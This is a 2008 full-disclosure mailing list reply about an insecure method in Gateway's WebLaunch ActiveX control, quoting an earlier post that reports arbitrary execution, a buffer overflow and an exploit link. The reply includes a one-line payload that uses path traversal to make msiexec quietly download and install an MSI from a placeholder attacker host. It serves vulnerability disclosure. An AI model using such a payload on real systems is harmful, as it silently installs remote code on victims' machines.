full-disclosure - Re: Gateway WebLaunch ActiveX Control Insecure Method

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Date: Wed, 09 Jan 2008 11:17:02 -0500
From: "Elazar Broad" <elazar@...hmail.com>
To: <full-disclosure@...ts.grok.org.uk>
Cc: 
Subject: Re: Gateway WebLaunch ActiveX Control Insecure
	Method

I was playing with this a bit more. Everybody has the Windows 
Installer installed, right? How about this:

obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\msiexec.exe",
"","/i http://www.evilsite.com/evilapp.msi /quiet");

Elazar

On Tue, 08 Jan 2008 20:08:53 -0500 elazar@...hmail.com wrote:
>The DoWebLaunch() method of the Gateway WebLauncher ActiveX 
>control 
>allows for the execution or arbitrary application on a system, 
>additionally this method is vulnerable to a buffer overflow in the 
>
>2nd and 4th parameters. Both weblaunch.ocx and weblaunch2.ocx 
>allow 
>the execution of arbitrary files, weblaunch.ocx is vulnerable to 
>the above mentioned buffer overflow, I have not checked 
>weblaunch2.ocx. Exploit: http://www.milw0rm.com/exploits/4869
>
>Elazar
>
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